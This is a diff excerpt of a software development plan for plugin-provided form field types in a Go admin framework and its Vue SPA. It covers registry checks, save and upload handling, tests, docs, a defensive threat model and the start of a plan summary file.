Registry (D-11, RESEARCH Pattern 1): new modules/cabana/field_type.go with compileFieldTypes(plugins []party.Plugin) (*fieldTypeRegistry, error), called in Activate before compileRegistry and passed down as a parameter; no package-level registry. Rules, each a boot error of the form "cabana: plugin <id> field type <name>: <reason>": the alias matches ^[a-z][a-z0-9]*$; it is not a key of formFieldTypes; it is not claimed by another plugin (the message names both plugin IDs); Element passes checkWidgetTag with widgetTagPrefix(pluginID); Decode is non-nil; each Options key matches ^[A-Za-z][A-Za-z0-9]*$, is not a key of formFieldKeys and is not repeated; a plugin declaring Scripts or Styles implements pact.AdminAssets. Extract the read-and-hash closure of compileClientAssets into readClientAssets(pluginID, owner string, fsys fs.FS, files []string, exts ...string) ([]*pluginAsset, error) and use it for both controller assets and field-type Scripts (.js, .mjs) and Styles (.css); field-type assets join Registry.assets so the existing GET {prefix}/assets/{vendor}/{plugin}/{file...} route serves them with ETag and ?v=.
|
||||
|
||||
Compile (D-12.1): compileRegistry and compileList/compileFormIfPresent take the registry; decodeFields(raw, types) passes it through fieldMap to compileFieldNode, which now reads the type first: for a plugin alias the accepted keys are label, comment, span, type, required, tab, context, attributes, size, default plus the type's Options; any other key is "unknown field <key>"; option values decode from the YAML nodes into JSON-compatible values (string, bool, int or float64, []any, map[string]any) in FormField.TypeOptions; CheckOptions (when non-nil) errors fail boot naming field and type. Core types keep today's path byte for byte. FormField gains Element, Translatable, TypeOptions (JSON element, translatable, typeOptions, omitempty) and an unexported fieldType pointer (json "-"). CompileForm keeps its signature and core-only behaviour (a plugin alias stays "unsupported type"); add CompileFormWithTypes(pluginID, ctl, fsys, types) that runs the alias and option checks (element prefix and assets are checked by Activate). settings.go and relation_form.go use a refusing registry: a plugin alias there fails boot with "plugin field type <name> is supported in controller forms only" (assumption A5).
|
||||
|
||||
Save and show (D-12.2, D-12.3, D-10 mapping): the scalarFormField checks at crud.go BindWritableFields and mergedRules also accept a field with a plugin type, so it binds to its column and `required` works. New liftPluginValues(cc, body, op), called next to liftMLValues before the transaction, removes the values of non-translatable plugin fields present in the body whose context allows op and keeps them as raw JSON values (projection would drop nested ones). New decodePluginFields, called inside the transaction after projectOperation and before lagoon.Fill, runs Decode with FormFieldValue{DB: tx, Record: target, Field, Options, Default: true, Value}, sets projected[field] to the result's Value and keeps the result's Notices with the field name; a *pact.FormFieldError becomes &ValidationError{Details: {field: Messages}} (422 validation_failed) and discards every collected notice; any other error goes through lifecycleFailure (opaque 500, no plugin text). New hydratePluginFields runs after hydrateMLRecord in ShowRecord and at the end of save: data[field] = Load(...) with Value = the projected stored value; nil Load keeps the value; a Load error is an opaque 500. So the save response always carries the stored value, which the SPA adopts into the form (the reload D-10 asks for).
|
||||
|
||||
Notices (D-10, framework half): after the transaction commits, new localizeNotices(ctx, s.tr, collected) turns each notice into a FieldNotice{Field, Locale, Message} in the request locale, the way localizeForbidden localizes a refusal: Message is a phrase key or text, resolved with tr.Choice(ctx, key, Count, Params) when Count > 0 and tr.Get(ctx, key, Params) otherwise; a nil translator keeps the text. At most 10 notices per field and locale are kept and each localized message is cut to 500 runes with an ellipsis. RecordMeta (relation_field.go) gains Notices []FieldNotice with json "notices,omitempty", set on the RecordResult that create and update write; with no notice the encoded response is byte-for-byte today's.
|
||||
|
||||
Route (D-13): GET {api}/field-types behind the backend guard (handler fieldTypesList) answers the FieldTypesResponse shape in the interfaces block, [] when no plugin registers a type. Annotate it in admin_openapi.go (FieldTypeAssets, FieldTypesResponse), document the FormField keys and the optional RecordMeta notices (FieldNotice); add "GET /field-types" to phase09Routes; run bash scripts/check-admin-openapi.sh (writes admin/openapi/admin.json and admin/src/api/schema.d.ts) and add the FieldTypeAssets alias to admin/src/api/types.ts.
|
||||
|
||||
SPA (D-13, D-15): pluginAssets.ts gains GLOBAL_STYLE_OWNER = '*' and loadGlobalStyles(urls), whose links activateStyles never disables (Pitfall 8). New admin/src/app/fieldTypes.ts: loadFieldTypes() GETs /field-types, loads each script once through loadScript, adds styles through loadGlobalStyles and resolves to the list; it never rejects (a failed script surfaces later as that field's failure state). main.ts calls it with loadNavigation when signed in; LoginView calls it after login. formContext.ts adds FIELD_CHANGE_EVENT = 'summer-change'. New PluginField.vue modelled on WidgetField.vue (same header rule: never a token, cookie, function or Vue instance; imperative element in a mount point; status loading, ready or failed with WIDGET_TIMEOUT; ExtensionFailure): it sets the element's value property from modelValue only when it differs from element.value, sets the attributes of the element contract (field-name, record-id, locale empty for a plain type, ui-locale from FORM_LOCALE, options as JSON of typeOptions, disabled, invalid), and emits update:modelValue with detail.value on summer-change. registry.ts adds rendererForField(field) and isRegisteredField(field): a field with an element renders PluginField and counts as a value field; FieldRenderer, PreviewField and formState's editable check switch to them; FormField's group label treats a plugin field as a group. Rebuild dist with npm --prefix admin run build.
|
||||
|
||||
Smoke tests: modules/cabana/field_type_smoke_test.go TestFieldTypeTracerSmoke (no database): a fake plugin "acme.demo" whose AdminFS (fstest.MapFS) holds assets/js/notes.js registers type "notes" with element "acme-demo-notes", option key "rows", a Decode that refuses the string "bad" with a FormFieldError, trims surrounding spaces and reports that with the notice Message "acme.demo::lang.trimmed" (Count 1), and otherwise returns the value with no notice, and a Load that prefixes "served:"; subtests: alias collision with a second plugin and with "markdown" fail boot; an unknown key and a CheckOptions error fail boot; GET /field-types through httptest lists notes with a ?v= script URL; GET schema/form carries element and typeOptions; decodePluginFields on a stub record sets projected["notes"] and maps "bad" to a ValidationError on "notes"; a value " x " is stored as "x" and localizeNotices yields one FieldNotice for "notes" (a nil translator keeps the key text); the JSON encoding of a RecordMeta without notices has no "notices" key; hydratePluginFields serves the "served:" value. admin/tests/form/PluginField.test.ts: a stub custom element; mounting PluginField sets the value property and the attributes; a summer-change event emits update:modelValue; an echo of the same value does not set the property again; an undefined tag ends in the failure state.
|
||||
|
||||
Docs (CLAUDE.md documentation rules, neutral names only): pact README (Features and API reference rows for each new pact identifier, FormFieldDecoded and FormFieldNotice included); cabana README (the GET /field-types row in Admin API routes, CompileFormWithTypes, FieldNotice, the meta.notices key of the create and update responses and the FormField keys in API reference); new docs/backend/field-types.md (front matter title "Plugin field types", section backend, order 25) covering registration, aliases, options, Decode (value, notices, refusal) and Load and the element contract; a link from docs/backend/forms.md where the supported field types are listed. Commit as feat(pact), feat(cabana) and feat(admin) commits, each with its README, docs, OpenAPI or dist changes, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/pact ./modules/cabana && go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestFormSchemaCompile|TestFormSchemaRejects)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 5</automated>
|
||||
<fails_when>Non-zero exit: vet fails, or fewer than five top-level "--- PASS: Test" lines (the tracer smoke is missing or failing, or the route inventory, permission matrix or schema tests regressed).</fails_when>
|
||||
<automated>npm --prefix admin run typecheck && npm --prefix admin test -- tests/form/PluginField.test.ts tests/form/WidgetField.test.ts tests/form/registry.test.ts tests/form/formState.test.ts && bash scripts/check-admin-openapi.sh --check && bash scripts/check-admin-dist.sh && go test -count=1 ./cmd/summer -run TestDocsTree</automated>
|
||||
<fails_when>Non-zero exit: vue-tsc reports a type error, a vitest file fails or is not found, check-admin-openapi prints "committed admin OpenAPI output is stale", check-admin-dist prints "modules/boardwalk/dist is stale", or TestDocsTree reports an identifier, link or anchor the docs name that does not exist.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "type HasFormFieldTypes interface" modules/pact/capabilities.go`, `grep -n "type FormFieldDecoded struct" modules/pact/capabilities.go` and `grep -n "func compileFieldTypes" modules/cabana/field_type.go` each print one line.
|
||||
- `grep -n 'json:"notices,omitempty"' modules/cabana/relation_field.go` prints one line and `grep -n "func localizeNotices" modules/cabana/*.go` prints one line.
|
||||
- `grep -n '"GET /field-types"' modules/cabana/security_coverage_test.go` prints one line and admin/openapi/admin.json contains the path "/field-types" and the property "notices".
|
||||
- TestFieldTypeTracerSmoke passes with subtests for: collision between two plugins, collision with markdown, unknown key, CheckOptions error, the field-types route, schema keys element and typeOptions, Decode success, Decode notice to FieldNotice, no notices key without notices, FormFieldError mapping, Load on show.
|
||||
- PluginField.test.ts passes, including the echo case (no second property write for an equal value).
|
||||
- check-admin-openapi --check, check-admin-dist and TestDocsTree pass; docs/backend/field-types.md has front matter section backend.
|
||||
- `grep -rniE 'journal|grzyby' modules/pact/README.md modules/cabana/README.md docs/backend/field-types.md` prints nothing (neutral names).
|
||||
</acceptance_criteria>
|
||||
<done>A fake plugin's non-translatable type compiles at boot, appears in the form schema and the field-types list, is decoded on save (its notices reach meta.notices, and a save without notices answers as before) and loaded on show, and the SPA renders its element with a two-way value binding.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Expansion (Go): translatable types, untouched skip, written-values accessor, list values and the cabana upload route</name>
|
||||
<files>modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/field_ml.go, modules/cabana/crud.go, modules/cabana/tx_context.go, modules/cabana/list_schema.go, modules/cabana/http.go, modules/cabana/admin_openapi.go, modules/cabana/security_coverage_test.go, modules/cabana/field_type_smoke_test.go, modules/cabana/README.md, admin/openapi/admin.json, admin/src/api/schema.d.ts, admin/src/api/types.ts, docs/backend/field-types.md</files>
|
||||
<read_first>modules/cabana/field_type.go (Task 2 state), modules/cabana/field_ml.go, modules/cabana/crud.go (save, ShowRecord, BindWritableFields column binding helpers modelFields and gormColumn), modules/cabana/tx_context.go, modules/cabana/list_schema.go (listColumnTypes at 22, compileColumns at 200), modules/cabana/http.go (projectRow at 1067, the fileupload routes at 335-347, protect at 1030), modules/cabana/field_file.go (fileUpload and fileUploadOn at 684-760: MaxBytesReader, multipart, transaction, scope), modules/cabana/csrf.go (requireAjax), modules/cabana/locale_order_test.go (recordingWriter: fake TranslationWriter style), modules/cabana/admin_openapi.go (file upload annotations near line 1156), modules/cabana/README.md, docs/backend/field-types.md, docs/backend/admin-controllers.md (VirtualFieldsFromContext section: style for the writes accessor)</read_first>
|
||||
<behavior>
|
||||
- Translatable type: a body map {en, pl} with pl default runs Decode once per locale; pl lands on the host column, en goes through TranslationWriter.WriteTranslated; a FormFieldError on en is a 422 on the field and nothing is written.
|
||||
- Notices per locale (D-10): a notice returned for en becomes a FieldNotice with field and locale "en", one for the default locale carries locale "pl"; a non-translatable type's notices carry no locale; a FormFieldError on any locale answers 422 with no notices.
|
||||
- Untouched (D-03): on update, a submitted per-locale value equal to the served value (Load of the stored value) is neither decoded nor written and yields no notice; on create nothing is skipped.
|
||||
- FieldWritesFromContext inside FormBeforeUpdate and FormAfterUpdate lists exactly the written (field, locale) values with Default set for the host value; it returns false outside a save.
|
||||
- A list column typed "notes" shows ListValue(value); without ListValue the raw value is kept.
|
||||
- Upload route: 201 {data:{url}} from Upload; 404 for a core-typed field or a type without Upload; 403 without the controller permission; missing X-Requested-With refused by requireAjax; over the cap 413; FormFieldError 422 on the field; id 0 passes Record nil.
|
||||
</behavior>
|
||||
<action>Extend Task 2's runner (per D-03, D-06, D-10, D-12.4, D-14, D-18).
|
||||
|
||||
Translatable types (D-14, D-06): add isMLField(field FormField) bool = mlFieldType(field.Type) or a plugin type with Translatable; switch the field loops in liftMLValues and hydrateMLRecord to it, so a translatable plugin field is lifted (locale to string map, default required, enabled locales only) and hydrated exactly like mlmarkdown. decodePluginFields then handles translatable fields per locale: the default-locale value is decoded into projected[field]; non-default values are decoded and replace the matching entries of the translations list that applyMLTranslations writes. Every locale's notices are kept with that locale (FieldNotice.Locale), the default locale included. A translatable Decode's FormFieldDecoded.Value must be a string; any other result type is an opaque 500. FormFieldValue.Translated is a closure over TranslationWriter.TranslatedExact(ctx, tx, record, attribute, locale) for the same record and locale (nil without a writer). hydratePluginFields applies Load per locale to the hydrated map.
|
||||
|
||||
Untouched skip (D-03 server half, RESEARCH Pattern 3): new servedFieldValue computes what Show serves for a field and locale on the loaded target (host value read through the same column binding BindWritableFields uses, pointers dereferenced; non-default from TranslatedExact, missing = ""), then Load. On update, decodePluginFields compares the submitted value with the served value by canonical encoding/json bytes and skips equal ones entirely (not in projected, not in translations). On create nothing is skipped.
|
||||
|
||||
Written values (Pitfall 7): tx_context.go gains FieldWrite, withFieldWrites (unexported), WithFieldWrites (exported, documented for Form hook tests) and FieldWritesFromContext (returns a copy; false outside a create or update), mirroring withVirtualFields/VirtualFieldsFromContext. save puts the writes on the context right after decodePluginFields, before formBeforeUpdate/formBeforeCreate, so Before and After hooks both see them.
|
||||
|
||||
List (D-12.4): compileColumns accepts a plugin alias as a column type (listColumnTypes stays the core set); ListColumn gets an unexported fieldType; projectRow returns ListValue(value) for such a column when ListValue is non-nil.
|
||||
|
||||
Upload route (D-18, RESEARCH Pattern 9): new modules/cabana/field_type_upload.go with fieldUpload mounted as g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload", requireAjax(s.fieldUpload)) plus constrainFile-style Where constraints, next to the file routes (7 segments; distinct from .../files/{field}/reorder and .../relations/{name}/link by the literal segment). Inside s.protect: the field must exist in cc.Form with a plugin type whose Upload is non-nil, else 404 not_found; the field's context must allow create when id is 0 and update otherwise, else 404; the body is capped with http.MaxBytesReader(w, r.Body, s.uploadBytes); exactly one multipart part named file, else 422 invalid on the field; for id != 0 the record loads through loadRecord (FormExtendQuery scope) in a transaction, a miss is 404; Upload gets FormFieldUpload{DB, Record (nil for id 0), Field, Options, Filename, Body}; a FormFieldError is 422 validation_failed on the field; any other error an opaque 500; success 201 {"data":{"url":...}} (FieldUploadResponse). Annotate the route in admin_openapi.go, add "POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload" to phase09Routes, run bash scripts/check-admin-openapi.sh and add the FieldUploadResponse alias to admin/src/api/types.ts.
|
||||
|
||||
Tests: TestFieldTypeExpansionSmoke in field_type_smoke_test.go (no database; a recording TranslationWriter in the locale_order_test.go style; a translatable fake type "notesml"; the upload route through httptest with id 0 and a principal context as the existing route tests build it) covering every behavior bullet above.
|
||||
|
||||
Docs: cabana README rows for FieldWrite, FieldWritesFromContext, WithFieldWrites and the upload route, and a note that settings and relation forms refuse plugin field types; docs/backend/field-types.md sections "Translatable types", "Untouched values", "Notices" (FormFieldDecoded notices, per-locale FieldNotice, localization, the 10-per-field and 500-rune caps, no key without notices), "Companion columns in Form hooks" (with FieldWritesFromContext) and "Uploads"; neutral names only. Commit as feat(cabana) with the README, docs and OpenAPI files, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/cabana && go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestListRelationSearchSmoke|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 6</automated>
|
||||
<fails_when>Non-zero exit: vet fails, or fewer than six top-level "--- PASS: Test" lines (the expansion smoke fails or is missing, or an existing route, permission, relation-search or locale-order smoke regressed).</fails_when>
|
||||
<automated>bash scripts/check-admin-openapi.sh --check && npm --prefix admin run typecheck && go test -count=1 ./cmd/summer -run TestDocsTree</automated>
|
||||
<fails_when>Non-zero exit: the committed OpenAPI or schema.d.ts is stale, the SPA no longer type-checks against the regenerated types, or TestDocsTree reports a missing identifier, link or anchor.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "func FieldWritesFromContext" modules/cabana/tx_context.go` and `grep -n "func WithFieldWrites" modules/cabana/tx_context.go` each print one line.
|
||||
- `grep -n 'fields/{field}/upload' modules/cabana/http.go modules/cabana/security_coverage_test.go modules/cabana/admin_openapi.go` prints at least one line per file.
|
||||
- TestFieldTypeExpansionSmoke has passing subtests for: per-locale Decode with default on the host and non-default through the writer, per-locale notices with their locale, a non-default FormFieldError 422 with no write and no notices, untouched skip on update for host and translation (no notice), no skip on create, the writes accessor in Before and After hooks, ListValue in projectRow, and the upload route answers 201, 404 (core field), 403 (no permission), 413 (over the cap) and 422 (FormFieldError).
|
||||
- The OpenAPI check, typecheck and TestDocsTree pass.
|
||||
</acceptance_criteria>
|
||||
<done>Translatable plugin types store through the existing ML path with per-locale notices, untouched values are never written, hooks can see what was written, list columns format through the type, and the upload route is mounted, documented and permissioned.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 4: Expansion (SPA): MLPluginField, element uploads through the SPA, plugin list columns, save notices, docs and dist</name>
|
||||
<files>admin/src/components/form/fields/MLPluginField.vue, admin/src/components/form/fields/PluginField.vue, admin/src/components/form/registry.ts, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/components/form/FormGrid.vue, admin/src/components/form/FormField.vue, admin/src/views/FormView.vue, admin/src/views/ListView.vue, admin/src/components/relation/RelationChildModal.vue, admin/tests/form/PluginField.test.ts, admin/tests/form/FormField.test.ts, admin/tests/form/formState.test.ts, modules/boardwalk/dist, docs/backend/field-types.md</files>
|
||||
<read_first>admin/src/components/form/fields/PluginField.vue (Task 2 state), admin/src/components/form/fields/MLField.vue, admin/src/components/form/fields/MLMarkdownField.vue, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts (isMLFieldType callers at 68, 139, 187, 228-233), admin/src/views/FormView.vue (isMLFieldType at 180 and 252, adopt at 173, save at 315, the saved toast at 337), admin/src/components/form/FormGrid.vue (errors per field at 47), admin/src/components/form/FormField.vue (errors prop, error line, aria-describedby), admin/src/main.css (.summer-callout--warning near line 400), admin/src/components/relation/RelationChildModal.vue (isMLFieldType at 221), admin/src/views/ListView.vue (column cell rendering), admin/src/api/files.ts (multipart upload with X-Requested-With and failure kinds), admin/src/api/client.ts, admin/tests/form/MLFields.test.ts, admin/tests/form/PluginField.test.ts, admin/tests/form/FormField.test.ts, docs/backend/field-types.md</read_first>
|
||||
<behavior>
|
||||
- A field with element and translatable renders MLPluginField: the locale switcher of MLField around PluginField; the element gets the active content locale in its locale attribute and that locale's string as value; summer-change updates only that locale in the map.
|
||||
- isMLField(field) is true for mltext, mltextarea, mlmarkdown and for a field with element and translatable; formState initial values, editable payload, adopt and record display name treat such a field as a locale map.
|
||||
- summer-upload {id, file} posts multipart to the field upload route with the form's vendor, plugin, controller, record id (0 on create) and field name, then dispatches summer-upload-result {id, url} on success and {id, error} with the server message on 422, 413 or a network failure.
|
||||
- A list column whose type is not built in renders its value as plain text.
|
||||
- Notices (D-10): a save answer with meta.notices shows each message under its field (prefixed with the upper-case locale for a translatable field) as a warning status line, and the saved toast appends the messages; the lines clear on the next save attempt; a save answer without notices shows none and the toast text is unchanged; a notice that looks like HTML renders as literal text.
|
||||
- After a save whose stored value differs from what the element holds (a type stripped something), the form value equals the response's value and PluginField sets the element's value property once to it.
|
||||
</behavior>
|
||||
<action>Finish the SPA half (per D-06, D-10, D-13, D-14, D-18).
|
||||
|
||||
ML (D-14): new MLPluginField.vue in the MLMarkdownField.vue shape: MLField with :inner="PluginField", inner-type = field.type and ml-type = field.type; PluginField accepts an optional content-locale prop that MLField's inner rendering supplies and writes it to the locale attribute. mlLocale.ts gains isMLField(field) (keep isMLFieldType exported unchanged); switch the callers in formState.ts, FormView.vue and RelationChildModal.vue to the field-based check. rendererForField returns MLPluginField for a translatable plugin field; groupLabelled is true for it.
|
||||
|
||||
Uploads (D-18): formContext.ts adds FIELD_UPLOAD_EVENT = 'summer-upload' and FIELD_UPLOAD_RESULT_EVENT = 'summer-upload-result'. PluginField listens for summer-upload, posts the File as the single multipart part "file" to /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload with the same session and X-Requested-With handling api/files.ts uses (path values from the control props, record id 0 on create), and dispatches summer-upload-result on the element with {id, url} or {id, error} (the 422 message, or a localized generic failure for 413 and network errors). The SPA never hands the element a token or a function.
|
||||
|
||||
Lists (D-12.4): make ListView render a column whose type has no built-in renderer as plain text of the row value (the server already sent the ListValue string), if it does not already.
|
||||
|
||||
Notices (D-10, generic for any field type): formState.ts exports noticeLines(notices) returning a field name to message list map, where a notice with a locale reads "<LOCALE>: message". FormView keeps a notices ref, clears it when a save starts, and after a successful create or update sets it from result.data.meta.notices (absent means none); it passes it through FormGrid to FormField the same way it passes errors. FormField gains an optional notices prop rendered under the control as a status line in the existing warning callout tone (summer-callout--warning, role="status", referenced by aria-describedby), with text interpolation only, never as raw HTML. The saved toast appends the joined notice messages, so "Zapisz i zamknij", which navigates away, still tells the admin. adopt(result.data) already reloads the stored values; keep PluginField's echo rule, so the element gets the stored value exactly when it differs from element.value.
|
||||
|
||||
Tests: extend admin/tests/form/PluginField.test.ts with the ML wrapper (two locales, locale attribute, per-locale change), the upload round trip (mocked fetch: success, 422 message, network failure), the reload of a changed stored value, and isMLField on the formState helpers; FormField.test.ts with the notice line (literal text for an HTML-looking message, aria-describedby, none without notices); formState.test.ts with noticeLines (locale prefix, no locale, empty).
|
||||
|
||||
Docs and dist: docs/backend/field-types.md gains the full element contract (value, attributes, summer-change, summer-upload, summer-upload-result, the echo rule, --c-* only, no credentials), the translatable variant and how the admin shows notices; rebuild with npm --prefix admin run build and commit modules/boardwalk/dist with the SPA change as feat(admin), staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>npm --prefix admin run typecheck && npm --prefix admin test && bash scripts/check-admin-dist.sh && go test -count=1 ./cmd/summer -run TestDocsTree</automated>
|
||||
<fails_when>Non-zero exit: a type error, any vitest file failing (including MLFields, FormView, ListView and the extended PluginField tests), check-admin-dist printing "modules/boardwalk/dist is stale", or TestDocsTree reporting a missing identifier or anchor.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "export function isMLField" admin/src/components/form/mlLocale.ts` prints one line, and FormView.vue, formState.ts and RelationChildModal.vue call isMLField.
|
||||
- `grep -n "export function noticeLines" admin/src/components/form/formState.ts` prints one line, `grep -n "meta.notices\|meta?.notices" admin/src/views/FormView.vue` prints at least one line, and `grep -n "v-html" admin/src/components/form/FormField.vue` prints nothing.
|
||||
- PluginField.test.ts passes its ML, upload (success, 422, network), stored-value reload and isMLField cases; FormField.test.ts and formState.test.ts pass their notice cases; the full vitest suite passes.
|
||||
- docs/backend/field-types.md documents summer-change, summer-upload, summer-upload-result and notices.
|
||||
- check-admin-dist passes with the rebuilt dist committed.
|
||||
</acceptance_criteria>
|
||||
<done>Translatable plugin fields switch locales like mlmarkdown, elements upload through the SPA without credentials, plugin list columns render, save notices show under the field and in the toast, and the docs describe the full contract.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| admin browser → cabana admin API | save bodies, upload bodies and field-type requests cross here (cookie or Bearer session) |
|
||||
| plugin Go code → cabana | Decode, Load, ListValue and Upload run inside cabana's handlers and transaction |
|
||||
| plugin element JS → admin SPA DOM | the element runs in the admin origin under CSP script-src 'self' |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-01 | Spoofing | compileFieldTypes alias registry | high | mitigate | Boot fails when an alias equals a core type or another plugin's alias, naming both owners; element tags must carry the owning plugin's prefix (checkWidgetTag) |
|
||||
| T-16.2-02 | Tampering (stored XSS) | decodePluginFields | high | mitigate | Decode runs for the host value and for every non-default locale inside the save transaction; there is no write path for a plugin field that skips Decode except the equal-to-served skip, which by definition writes nothing |
|
||||
| T-16.2-03 | Elevation of Privilege | fieldUpload route | high | mitigate | Backend guard, requireAjax (X-Requested-With) with the SameSite=Strict cookie, controller RequiredPermissions via protect, field context check, FormExtendQuery record scope for id != 0, 404 for fields without a plugin Upload |
|
||||
| T-16.2-04 | Denial of Service | fieldUpload body | medium | mitigate | http.MaxBytesReader with http.body_limits.upload_bytes (413), exactly one multipart part |
|
||||
| T-16.2-05 | Information Disclosure | PluginField / element | high | mitigate | The element receives only the value property and plain attributes; uploads are performed by the SPA; no token, cookie, function or Vue instance is ever passed (test asserts attributes only) |
|
||||
| T-16.2-06 | Tampering | typeOptions to element | low | mitigate | Options reach the element only as a JSON attribute string; the SPA never renders them as HTML |
|
||||
| T-16.2-07 | Information Disclosure | plugin errors | medium | mitigate | Only pact.FormFieldError messages (422) and FormFieldNotice messages (meta.notices) reach the client; any other Decode, Load or Upload error is an opaque 500 through lifecycleFailure |
|
||||
| T-16.2-08 | Tampering | untouched skip | low | accept | An attacker who submits the served value only causes no write; the skip cannot store anything that Decode did not already accept |
|
||||
| T-16.2-33 | Tampering (admin XSS) / Denial of Service | save notices (localizeNotices, FormField notice line) | medium | mitigate | A notice can quote attacker-written markup (for example a removed tag name); the SPA renders notices with text interpolation only, never v-html (acceptance grep and an HTML-looking-message test); cabana keeps at most 10 notices per field and locale and cuts each localized message to 500 runes, so a value with thousands of removed parts cannot inflate the response |
|
||||
| T-16.2-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed by this plan: Go has no new dependency and the admin SPA builds from its committed lockfile |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: baseline contract and schema tests pass and a human approved the API.
|
||||
- Task 2: TestFieldTypeTracerSmoke and the regression set pass; PluginField vitest, OpenAPI check, dist check and TestDocsTree pass.
|
||||
- Task 3: TestFieldTypeExpansionSmoke and the regression set pass; OpenAPI check, typecheck, TestDocsTree pass.
|
||||
- Task 4: full admin vitest suite, dist check and TestDocsTree pass.
|
||||
- Postgres-backed save, show and upload tests with a real record are written in plan 06 and run on a Docker host.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- D-11 to D-15 implemented in pact, cabana and the SPA with fail-loud boot checks.
|
||||
- D-03 server skip, D-10 notices (meta.notices only when a Decode reported something, shown under the field and in the toast, stored value reloaded) and refusal mapping, D-06/D-14 storage through the existing ML path, D-18 upload route in place.
|
||||
- OpenAPI, TS types, dist, READMEs and docs updated in the same changes; no framework doc names a consuming application.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md` when done, with the Task 1 reply, the final identifier list, commit hashes, and the smoke test results.
|
||||
</output>
|
||||
@@ -0,0 +1,264 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 01
|
||||
subsystem: admin
|
||||
tags: [pact, cabana, admin-spa, field-types, custom-elements, i18n, uploads, openapi]
|
||||
|
||||
requires:
|
||||
- phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
provides: bluemonday-era Journal plugin and the v0.1.17 framework release this API builds on
|
||||
provides:
|
||||
- pact plugin field type API (HasFormFieldTypes, FormFieldType, FormFieldValue, FormFieldDecoded, FormFieldNotice, FormFieldUpload, FormFieldUploadResult, FormFieldError)
|
||||
- cabana per-boot field type registry, compile checks, Decode/Load/ListValue runner, translatable storage through the ML path, untouched skip, meta.notices
|
||||
- cabana FieldWrite, FieldWritesFromContext, WithFieldWrites, CompileFormWithTypes, FieldTypeAssets, FieldTypesResponse, FieldUploadResponse, FieldNotice, RecordMeta.Notices
|
||||
- routes GET {api}/field-types and POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload
|
||||
- admin SPA global field type loader, PluginField and MLPluginField element hosts, element uploads, save notices
|
||||
affects: [16.2-02, 16.2-03, 16.2-05, 16.2-06, journal, payment]
|
||||
|
||||
actuals:
|
||||
tokens: 62800
|
||||
tasks: 4
|
||||
commits: 5
|
||||
plan_head_before: 0754a6e5ab88b1a4ad3b6fc3599a338490220077
|
||||
plan_head_after: 4adb48a76e5bd81f589385d22fc82a5c55dcb3e7
|
||||
|
||||
tech-stack:
|
||||
added: []
|
||||
patterns:
|
||||
- "Plugin capability registry built per Activate (compileFieldTypes) and passed down the compile functions; no package-level registry"
|
||||
- "Untouched-value skip by canonical encoding/json comparison against the served value (Load of the stored value)"
|
||||
- "Global plugin stylesheets owned by GLOBAL_STYLE_OWNER, never disabled by activateStyles"
|
||||
|
||||
key-files:
|
||||
created:
|
||||
- modules/cabana/field_type.go
|
||||
- modules/cabana/field_type_upload.go
|
||||
- modules/cabana/field_type_smoke_test.go
|
||||
- modules/cabana/example_field_type_test.go
|
||||
- admin/src/app/fieldTypes.ts
|
||||
- admin/src/components/form/fields/PluginField.vue
|
||||
- admin/src/components/form/fields/MLPluginField.vue
|
||||
- admin/tests/form/PluginField.test.ts
|
||||
- docs/backend/field-types.md
|
||||
modified:
|
||||
- modules/pact/capabilities.go
|
||||
- modules/pact/README.md
|
||||
- modules/cabana/form_schema.go
|
||||
- modules/cabana/schema_types.go
|
||||
- modules/cabana/registry.go
|
||||
- modules/cabana/contracts.go
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/crud.go
|
||||
- modules/cabana/field_ml.go
|
||||
- modules/cabana/tx_context.go
|
||||
- modules/cabana/list_schema.go
|
||||
- modules/cabana/query.go
|
||||
- modules/cabana/settings.go
|
||||
- modules/cabana/relation.go
|
||||
- modules/cabana/relation_form.go
|
||||
- modules/cabana/relation_field.go
|
||||
- modules/cabana/extension.go
|
||||
- modules/cabana/admin_openapi.go
|
||||
- modules/cabana/security_coverage_test.go
|
||||
- modules/cabana/phase10_coverage_test.go
|
||||
- modules/cabana/phase10_csrf_test.go
|
||||
- modules/cabana/README.md
|
||||
- admin/openapi/admin.json
|
||||
- admin/src/api/schema.d.ts
|
||||
- admin/src/api/types.ts
|
||||
